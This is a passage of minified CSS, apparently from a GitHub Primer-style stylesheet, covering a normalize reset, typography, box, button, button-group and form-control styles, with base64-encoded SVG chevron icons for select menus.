*/html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background-color:var(--color-attention-subtle);color:var(--color-text-primary)}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:600}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:14px;line-height:1.5;color:var(--color-fg-default);background-color:var(--color-canvas-default)}a{color:var(--color-accent-fg);text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--color-border-muted)}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}a,button,[role=button],input[type=radio],input[type=checkbox]{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}a:focus,button:focus,[role=button]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:focus:not(:focus-visible),button:focus:not(:focus-visible),[role=button]:focus:not(:focus-visible),input[type=radio]:focus:not(:focus-visible),input[type=checkbox]:focus:not(:focus-visible){outline:solid 1px transparent}a:focus-visible,button:focus-visible,[role=button]:focus-visible,input[type=radio]:focus-visible,input[type=checkbox]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:not([class]):focus,a:not([class]):focus-visible,input[type=radio]:focus,input[type=radio]:focus-visible,input[type=checkbox]:focus,input[type=checkbox]:focus-visible{outline-offset:0}.focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}@media(forced-colors: active){*:focus,*:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visible,select:focus,select:focus-visible{outline-offset:2px}}kbd{display:inline-block;padding:3px 5px;font:11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;line-height:10px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-subtle);border:solid 1px var(--color-neutral-muted);border-bottom-color:var(--color-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--color-neutral-muted)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code,samp{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.octicon{display:inline-block;overflow:visible !important;vertical-align:text-bottom;fill:currentColor}.Box{background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-radius:6px}.Box--condensed{line-height:1.25}.Box--condensed .Box-header{padding:8px 16px}.Box--condensed .Box-body{padding:8px 16px}.Box--condensed .Box-footer{padding:8px 16px}.Box--condensed .Box-btn-octicon.btn-octicon{padding:8px 16px;margin:-8px -16px;line-height:1.25}.Box--condensed .Box-row{padding:8px 16px}.Box--spacious .Box-header{padding:24px;line-height:1.25}.Box--spacious .Box-title{font-size:20px}.Box--spacious .Box-body{padding:24px}.Box--spacious .Box-footer{padding:24px}.Box--spacious .Box-btn-octicon.btn-octicon{padding:24px;margin:-24px -24px}.Box--spacious .Box-row{padding:24px}.Box-header{padding:16px;margin:-1px -1px 0;background-color:var(--color-canvas-subtle);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-title{font-size:14px;font-weight:600}.Box-body{padding:16px;border-bottom:1px solid var(--color-border-default)}.Box-body:last-of-type{margin-bottom:-1px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row{padding:16px;margin-top:-1px;list-style-type:none;border-top-color:var(--color-border-muted);border-top-style:solid;border-top-width:1px}.Box-row:first-of-type{border-top-left-radius:6px;border-top-right-radius:6px}.Box-row:last-of-type{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row.Box-row--unread,.Box-row.unread{box-shadow:inset 2px 0 0 var(--color-accent-emphasis)}.Box-row.navigation-focus .Box-row--drag-button{color:var(--color-accent-fg);cursor:grab;opacity:100}.Box-row.navigation-focus.is-dragging .Box-row--drag-button{cursor:grabbing}.Box-row.navigation-focus.sortable-chosen{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost .Box-row--drag-hide{opacity:0}.Box-row--focus-gray.navigation-focus{background-color:var(--color-canvas-subtle)}.Box-row--focus-blue.navigation-focus{background-color:var(--color-accent-subtle)}.Box-row--hover-gray:hover{background-color:var(--color-canvas-subtle)}.Box-row--hover-blue:hover{background-color:var(--color-accent-subtle)}@media(min-width: 768px){.Box-row-link{color:var(--color-fg-default);text-decoration:none}.Box-row-link:hover{color:var(--color-accent-fg);text-decoration:none}}.Box-row--drag-button{opacity:0}.Box-footer{padding:16px;margin-top:-1px;border-top-color:var(--color-border-default);border-top-style:solid;border-top-width:1px;border-radius:0 0 6px 6px}.Box--scrollable{max-height:324px;overflow:scroll}.Box--blue{border-color:var(--color-accent-muted)}.Box--blue .Box-header{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box--blue .Box-body{border-color:var(--color-accent-muted)}.Box--blue .Box-row{border-color:var(--color-accent-muted)}.Box--blue .Box-footer{border-color:var(--color-accent-muted)}.Box--danger{border-color:var(--color-danger-emphasis)}.Box--danger .Box-row:first-of-type{border-color:var(--color-danger-emphasis)}.Box--danger .Box-body:last-of-type{border-color:var(--color-danger-emphasis)}.Box-header--blue{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box-row--yellow{background-color:var(--color-attention-subtle)}.Box-row--blue{background-color:var(--color-accent-subtle)}.Box-row--gray{background-color:var(--color-canvas-subtle)}.Box-btn-octicon.btn-octicon{padding:16px 16px;margin:-16px -16px;line-height:1.5}.Box--overlay{width:448px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-default);background-clip:padding-box;border-color:var(--color-border-default);box-shadow:0 0 18px rgba(0,0,0,.4)}.Box--overlay .Box-header{margin:0;border-width:0;border-bottom-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-overlay--narrow{width:320px}.Box-overlay--wide{width:640px}.Box-body.scrollable-overlay{max-height:400px;overflow-y:scroll}.Box-body .help{padding-top:8px;margin:0;color:var(--color-fg-muted);text-align:center}.breadcrumb-item{display:inline-block;margin-left:-0.35em;white-space:nowrap;list-style:none}.breadcrumb-item::after{display:inline-block;height:.8em;margin:0 .5em;content:"";border-right:.1em solid var(--color-fg-muted);transform:rotate(15deg)}.breadcrumb-item:first-child{margin-left:0}.breadcrumb-item-selected::after,.breadcrumb-item[aria-current]:not([aria-current=false])::after{content:none}.breadcrumb-item-selected a{color:var(--color-fg-default)}.btn{position:relative;display:inline-block;padding:5px 16px;font-size:14px;font-weight:500;line-height:20px;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid;border-radius:6px;-webkit-appearance:none;appearance:none}.btn:hover{text-decoration:none}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{cursor:default}.btn i{font-style:normal;font-weight:500;opacity:.75}.btn .octicon{margin-right:4px;color:var(--color-fg-muted);vertical-align:text-bottom}.btn .octicon:only-child{margin-right:0}.btn .Counter{margin-left:2px;color:inherit;text-shadow:none;vertical-align:top;background-color:var(--color-btn-counter-bg)}.btn .dropdown-caret{margin-left:4px;opacity:.8}.btn{color:var(--color-btn-text);background-color:var(--color-btn-bg);border-color:var(--color-btn-border);box-shadow:var(--color-btn-shadow),var(--color-btn-inset-shadow);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.btn:hover,.btn.hover,[open]>.btn{background-color:var(--color-btn-hover-bg);border-color:var(--color-btn-hover-border);transition-duration:.1s}.btn:active{background-color:var(--color-btn-active-bg);border-color:var(--color-btn-active-border);transition:none}.btn.selected,.btn[aria-selected=true]{background-color:var(--color-btn-selected-bg);box-shadow:var(--color-primer-shadow-inset)}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:var(--color-btn-bg);border-color:var(--color-btn-border)}.btn:disabled .octicon,.btn.disabled .octicon,.btn[aria-disabled=true] .octicon{color:var(--color-primer-fg-disabled)}.btn-primary{color:var(--color-btn-primary-text);background-color:var(--color-btn-primary-bg);border-color:var(--color-btn-primary-border);box-shadow:var(--color-btn-primary-shadow),var(--color-btn-primary-inset-shadow)}.btn-primary:hover,.btn-primary.hover,[open]>.btn-primary{background-color:var(--color-btn-primary-hover-bg);border-color:var(--color-btn-primary-hover-border)}.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:active,.btn-primary.selected,.btn-primary[aria-selected=true]{background-color:var(--color-btn-primary-selected-bg);box-shadow:var(--color-btn-primary-selected-shadow)}.btn-primary:disabled,.btn-primary.disabled,.btn-primary[aria-disabled=true]{color:var(--color-btn-primary-disabled-text);background-color:var(--color-btn-primary-disabled-bg);border-color:var(--color-btn-primary-disabled-border)}.btn-primary:disabled .octicon,.btn-primary.disabled .octicon,.btn-primary[aria-disabled=true] .octicon{color:var(--color-btn-primary-disabled-text)}.btn-primary .Counter{color:inherit;background-color:var(--color-btn-primary-counter-bg)}.btn-primary .octicon{color:var(--color-btn-primary-icon)}a.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}a.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}a.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline{color:var(--color-btn-outline-text)}.btn-outline:hover,[open]>.btn-outline{color:var(--color-btn-outline-hover-text);background-color:var(--color-btn-outline-hover-bg);border-color:var(--color-btn-outline-hover-border);box-shadow:var(--color-btn-outline-hover-shadow),var(--color-btn-outline-hover-inset-shadow)}.btn-outline:hover .Counter,[open]>.btn-outline .Counter{background-color:var(--color-btn-outline-hover-counter-bg)}.btn-outline:hover .octicon,[open]>.btn-outline .octicon{color:inherit}.btn-outline:active,.btn-outline.selected,.btn-outline[aria-selected=true]{color:var(--color-btn-outline-selected-text);background-color:var(--color-btn-outline-selected-bg);border-color:var(--color-btn-outline-selected-border);box-shadow:var(--color-btn-outline-selected-shadow)}.btn-outline:active:focus,.btn-outline.selected:focus,.btn-outline[aria-selected=true]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:active:focus:not(:focus-visible),.btn-outline.selected:focus:not(:focus-visible),.btn-outline[aria-selected=true]:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-outline:active:focus-visible,.btn-outline.selected:focus-visible,.btn-outline[aria-selected=true]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:disabled,.btn-outline.disabled,.btn-outline[aria-disabled=true]{color:var(--color-btn-outline-disabled-text);background-color:var(--color-btn-outline-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-outline:disabled .Counter,.btn-outline.disabled .Counter,.btn-outline[aria-disabled=true] .Counter{background-color:var(--color-btn-outline-disabled-counter-bg)}.btn-outline .Counter{color:inherit;background-color:var(--color-btn-outline-counter-bg)}.btn-danger{color:var(--color-btn-danger-text)}.btn-danger .octicon{color:var(--color-btn-danger-icon)}.btn-danger:hover,[open]>.btn-danger{color:var(--color-btn-danger-hover-text);background-color:var(--color-btn-danger-hover-bg);border-color:var(--color-btn-danger-hover-border);box-shadow:var(--color-btn-danger-hover-shadow),var(--color-btn-danger-hover-inset-shadow)}.btn-danger:hover .Counter,[open]>.btn-danger .Counter{background-color:var(--color-btn-danger-hover-counter-bg)}.btn-danger:hover .octicon,[open]>.btn-danger .octicon{color:var(--color-btn-danger-hover-icon)}.btn-danger:active,.btn-danger.selected,.btn-danger[aria-selected=true]{color:var(--color-btn-danger-selected-text);background-color:var(--color-btn-danger-selected-bg);border-color:var(--color-btn-danger-selected-border);box-shadow:var(--color-btn-danger-selected-shadow)}.btn-danger:disabled,.btn-danger.disabled,.btn-danger[aria-disabled=true]{color:var(--color-btn-danger-disabled-text);background-color:var(--color-btn-danger-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-danger:disabled .Counter,.btn-danger.disabled .Counter,.btn-danger[aria-disabled=true] .Counter{background-color:var(--color-btn-danger-disabled-counter-bg)}.btn-danger:disabled .octicon,.btn-danger.disabled .octicon,.btn-danger[aria-disabled=true] .octicon{color:var(--color-btn-danger-disabled-text)}.btn-danger .Counter{color:inherit;background-color:var(--color-btn-danger-counter-bg)}.btn-sm{padding:3px 12px;font-size:12px;line-height:20px}.btn-sm .octicon{vertical-align:text-top}.btn-large{padding:.75em 1.5em;font-size:inherit;line-height:1.5;border-radius:.5em}.btn-block{display:block;width:100%;text-align:center}.BtnGroup{display:inline-block;vertical-align:middle}.BtnGroup::before{display:table;content:""}.BtnGroup::after{display:table;clear:both;content:""}.BtnGroup+.BtnGroup,.BtnGroup+.btn{margin-left:4px}.BtnGroup-item{position:relative;float:left;border-right-width:0;border-radius:0}.BtnGroup-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-item:last-child{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-item.selected,.BtnGroup-item[aria-selected=true],.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-item:hover{border-right-width:1px}.BtnGroup-item.selected+.BtnGroup-item,.BtnGroup-item.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:active+.BtnGroup-item,.BtnGroup-item:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-parent{float:left}.BtnGroup-parent:first-child .BtnGroup-item{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-parent:last-child .BtnGroup-item{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-parent .BtnGroup-item{border-right-width:0;border-radius:0}.BtnGroup-parent.selected .BtnGroup-item,.BtnGroup-parent[aria-selected=true] .BtnGroup-item,.BtnGroup-parent:focus .BtnGroup-item,.BtnGroup-parent:active .BtnGroup-item,.BtnGroup-parent:hover .BtnGroup-item{border-right-width:1px}.BtnGroup-parent.selected+.BtnGroup-item,.BtnGroup-parent.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-parent:focus,.BtnGroup-parent:active{z-index:1}.btn-link{display:inline-block;padding:0;font-size:inherit;color:var(--color-accent-fg);text-decoration:none;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;appearance:none}.btn-link:hover{text-decoration:underline}.btn-link:disabled,.btn-link:disabled:hover,.btn-link[aria-disabled=true],.btn-link[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default}.btn-link:not(.dropdown-item):focus,.btn-link:not(.dropdown-item):focus-visible{border-radius:6px;outline-offset:0}.btn-invisible{color:var(--color-accent-fg);background-color:transparent;border:0;border-radius:6px;box-shadow:none}.btn-invisible:hover,.btn-invisible.zeroclipboard-is-hover{color:var(--color-accent-fg);background-color:var(--color-btn-hover-bg);outline:none;box-shadow:none}.btn-invisible:active,.btn-invisible.selected,.btn-invisible[aria-selected=true],.btn-invisible.zeroclipboard-is-active{color:var(--color-accent-fg);background:none;border-color:var(--color-btn-active-border);outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.btn-invisible:active .btn-invisible.zeroclipboard-is-active{background-color:var(--color-btn-selected-bg)}.btn-invisible:disabled,.btn-invisible.disabled,.btn-invisible[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:transparent}.btn-octicon{display:inline-block;padding:5px;margin-left:5px;line-height:1;color:var(--color-fg-muted);vertical-align:middle;background:transparent;border:0;box-shadow:none}.btn-octicon:hover{color:var(--color-accent-fg)}.btn-octicon:focus,.btn-octicon:focus-visible{border-radius:6px}.btn-octicon.disabled,.btn-octicon[aria-disabled=true]{color:var(--color-primer-fg-disabled);cursor:default}.btn-octicon.disabled:hover,.btn-octicon[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled)}.btn-octicon-danger:hover{color:var(--color-danger-fg)}.close-button{padding:0;color:var(--color-fg-muted);background:transparent;border:0}.close-button:hover{color:var(--color-fg-default)}.close-button:active{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.hidden-text-expander{display:block}.hidden-text-expander.inline{position:relative;top:-1px;display:inline-block;margin-left:5px;line-height:0}.hidden-text-expander a,.ellipsis-expander{display:inline-block;height:12px;padding:0 5px 5px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border:0;border-radius:1px}.hidden-text-expander a:hover,.ellipsis-expander:hover{text-decoration:none;background-color:var(--color-accent-muted)}.hidden-text-expander a:active,.ellipsis-expander:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.btn-with-count{float:left;border-top-right-radius:0;border-bottom-right-radius:0}.btn-with-count:focus{z-index:1}.social-count{position:relative;float:left;padding:3px 12px;font-size:12px;font-weight:600;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);border:1px solid var(--color-btn-border);border-left:0;border-top-right-radius:6px;border-bottom-right-radius:6px;box-shadow:var(--color-shadow-small),var(--color-primer-shadow-highlight)}.social-count:hover,.social-count:active{text-decoration:none}.social-count:hover{color:var(--color-accent-fg);cursor:pointer}.TableObject{display:table}.TableObject-item{display:table-cell;width:1%;white-space:nowrap;vertical-align:middle}.TableObject-item--primary{width:99%}fieldset{padding:0;margin:0;border:0}label{font-weight:600}.form-control,.form-select{padding:5px 12px;font-size:14px;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);background-repeat:no-repeat;background-position:right 8px center;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-primer-shadow-inset);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.form-control:focus,.form-select:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control:focus:not(:focus-visible),.form-select:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.form-control:focus-visible,.form-select:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control.border-0:focus,.form-control.border-0:focus-visible,.form-select.border-0:focus,.form-select.border-0:focus-visible{border:1px solid var(--color-accent-fg) !important}.form-control[disabled],.form-select[disabled]{color:var(--color-primer-fg-disabled);background-color:var(--color-input-disabled-bg);border-color:var(--color-border-default);-webkit-text-fill-color:var(--color-primer-fg-disabled);opacity:1}.form-control[disabled]::placeholder,.form-select[disabled]::placeholder{color:var(--color-primer-fg-disabled)}@supports(-webkit-touch-callout: none){.form-control,.form-select{font-size:16px}@media(min-width: 768px){.form-control,.form-select{font-size:14px}}}textarea.form-control{padding-top:8px;padding-bottom:8px;line-height:1.5}.input-contrast{background-color:var(--color-canvas-inset)}.input-contrast:focus{background-color:var(--color-canvas-default)}::placeholder{color:var(--color-fg-subtle);opacity:1}.input-sm{min-height:28px;padding-top:3px;padding-bottom:3px;font-size:12px;line-height:20px}.input-lg{font-size:16px}.input-block{display:block;width:100%}.input-monospace{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.input-hide-webkit-autofill::-webkit-contacts-auto-fill-button{position:absolute;right:0;display:none !important;pointer-events:none;visibility:hidden}.form-checkbox{padding-left:20px;margin:15px 0;vertical-align:middle}.form-checkbox label em.highlight{position:relative;left:-4px;padding:2px 4px;font-style:normal;background:var(--color-attention-subtle);border-radius:6px}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{float:left;margin:5px 0 0 -20px;vertical-align:middle}.form-checkbox .note{display:block;margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.form-checkbox-details{display:none}.form-checkbox-details-trigger:checked~* .form-checkbox-details,.form-checkbox-details-trigger:checked~.form-checkbox-details{display:block}.hfields{margin:15px 0}.hfields::before{display:table;content:""}.hfields::after{display:table;clear:both;content:""}.hfields .form-group{float:left;margin:0 30px 0 0}.hfields .form-group dt label,.hfields .form-group .form-group-header label{display:inline-block;margin:5px 0 0;color:var(--color-fg-muted)}.hfields .form-group dt img,.hfields .form-group .form-group-header img{position:relative;top:-2px}.hfields .btn{float:left;margin:28px 25px 0 -20px}.hfields .form-select{margin-top:5px}input::-webkit-outer-spin-button,input::-webkit-inner-spin-button{margin:0;-webkit-appearance:none;appearance:none}.form-actions::before{display:table;content:""}.form-actions::after{display:table;clear:both;content:""}.form-actions .btn{float:right}.form-actions .btn+.btn{margin-right:5px}.form-warning{padding:8px 10px;margin:10px 0;font-size:14px;color:var(--color-attention-fg);background:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.form-warning p{margin:0;line-height:1.5}.form-warning a{font-weight:600}.form-select{display:inline-block;max-width:100%;height:32px;padding-right:24px;background-color:var(--color-canvas-default);background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzU4NjA2OSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=");background-repeat:no-repeat;background-position:right 4px center;background-size:16px;-webkit-appearance:none;appearance:none}.form-select::-ms-expand{opacity:0}.form-select[multiple]{height:auto}[data-color-mode=light][data-light-theme*=dark] .form-select,[data-color-mode=dark][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}.select-sm{height:28px;padding-top:3px;padding-bottom:3px;font-size:12px}.select-sm[multiple]{height:auto;min-height:0}.form-group{margin:15px 0}.form-group .form-control.autocomplete-embedded-icon-wrap:focus-within{background-color:var(--color-canvas-default)}.form-group .form-control{width:440px;max-width:100%;margin-right:5px;background-color:var(--color-canvas-inset)}.form-group .form-control:focus{background-color:var(--color-canvas-default)}.form-group .form-control.shorter{width:130px}.form-group .form-control.short{width:250px}.form-group .form-control.input-block,.form-group .form-control.long{width:100%}.form-group textarea.form-control{width:100%;height:200px;min-height:200px}.form-group textarea.form-control.short{height:50px;min-height:50px}.form-group dt,.form-group .form-group-header{margin:0 0 6px}.form-group label{position:relative}.form-group.flattened dt,.form-group.flattened 